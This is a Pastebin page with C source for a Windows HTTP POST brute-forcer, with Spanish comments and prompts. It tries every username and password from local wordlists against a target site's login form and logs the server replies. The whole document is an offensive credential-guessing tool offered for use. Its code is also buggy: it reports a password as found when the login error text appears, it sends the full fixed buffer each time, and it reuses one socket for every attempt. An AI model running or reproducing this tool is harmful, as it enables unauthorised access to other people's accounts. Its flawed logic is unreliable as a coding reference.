Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // HTTP BruteForcer Post Method
- // Coder: Rollth
- // Underc0de.org
- // hackingd0.blogspot.com.es
- // whateversec.blogspot.com.es
- #include <stdio.h>
- #include <string.h>
- #include <winsock2.h>
- #include <windows.h>
- #include <stdlib.h>
- int main(){
- // Declaración de socket
- WSADATA wsa;
- int sock;
- struct sockaddr_in dir;
- WSAStartup(MAKEWORD(2,0), &wsa);
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- // Declaración de variables
- FILE *archivo1;
- FILE *archivo2;
- FILE *archivo3;
- int puerto;
- int acierto = 0;
- int intentos = 0;
- char ip[30];
- char host[30];
- char mensajeError[300];
- char form[200];
- char user[50];
- char pass[50];
- char user1[50];
- char pass1[50];
- char men[1000];
- char men2[1000000];
- int ContentLength;
- char ContentLength2[5];
- // Simple decoración
- printf("###############################\n");
- printf("#HTTP BruteForcer Post Method #\n");
- printf("#Coder: Rollth #\n");
- printf("#Underc0de.org #\n");
- printf("#hackingd0.blogspot.com.es #\n");
- printf("#whateversec.blogspot.com.es #\n");
- printf("###############################\n\n");
- // Introducción de variables
- printf("IP del servidor a atacar: ");
- scanf("%s", &ip);
- printf("Host: ");
- scanf("%s", &host);
- printf("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ");
- scanf("%d", &puerto);
- printf("Nombre de la variable de user: ");
- scanf("%s", &user);
- printf("Nombre de la variable de password: ");
- scanf("%s", &pass);
- printf("Direccion del form: ");
- scanf("%s", &form);
- printf("Mensaje de error al logearse(Una sola palabra): ");
- scanf("%s", &mensajeError);
- // Configurando conexión al servidor
- dir.sin_family=AF_INET;
- dir.sin_port=htons(puerto);
- dir.sin_addr.s_addr=inet_addr(ip);
- connect(sock, (struct sockaddr*)&dir,sizeof(dir));
- // Dos bucles para comprobar cada usuario con cada password
- archivo1 = fopen("usuarios.txt", "r");
- archivo3 = fopen("salida.txt", "w");
- fprintf(archivo3, "%s\n\n", host);
- while(fscanf(archivo1, "%s", user1) != -1){
- archivo2 = fopen("passwords.txt", "r");
- while(fscanf(archivo2, "%s", pass1) != -1){
- strcpy(men,"");
- ContentLength = strlen(user) + strlen(pass) + strlen(user1) + strlen(pass1) + 3;
- itoa(ContentLength, ContentLength2, 10);
- // Modifica el string men con el header y los datos a enviar.
- strcpy(men, "POST ");
- strcat(men, form);
- strcat(men, " HTTP/1.1\r\n");
- strcat(men, "Host: ");
- strcat(men, host);
- strcat(men, "\r\nContent-type: application/x-www-form-urlencoded\r\n");
- strcat(men, "Content-Length: ");
- strcat(men, ContentLength2);
- strcat(men, "\r\n\r\n");
- strcat(men, user);
- strcat(men, "=");
- strcat(men, user1);
- strcat(men, "&");
- strcat(men, pass);
- strcat(men, "=");
- strcat(men, pass1);
- strcat(men, "\r\n");
- // Envía y recibe datos
- send(sock, men, sizeof(men), 0);
- recv(sock, men2, sizeof(men2), 0);
- fprintf(archivo3, "%s", men);
- Sleep(100);
- fprintf(archivo3, "%s", men2);
- // Comprueba si la contraseña es correcta o incorrecta
- if(strstr(men2, mensajeError) != NULL){
- printf("El usuario es: %s -- El password es: %s\n", user1, pass1);
- fprintf(archivo3, "El usuario es: %s -- El password es: %s\n", user1, pass1);
- acierto++;
- }
- // Contador de intentos
- intentos++;
- printf("Numero intentos: %d\r", intentos);
- Sleep(100);
- }
- fclose(archivo2);
- }
- // Comprueba número de contraseñas encontradas.
- if(acierto == 0){
- printf("Password no encontrada.\n");
- }
- else{
- printf("Numero de passwords encontradas: %d\n", acierto);
- }
- // Final del programa
- system("pause");
- closesocket(sock);
- fclose(archivo1);
- fclose(archivo3);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement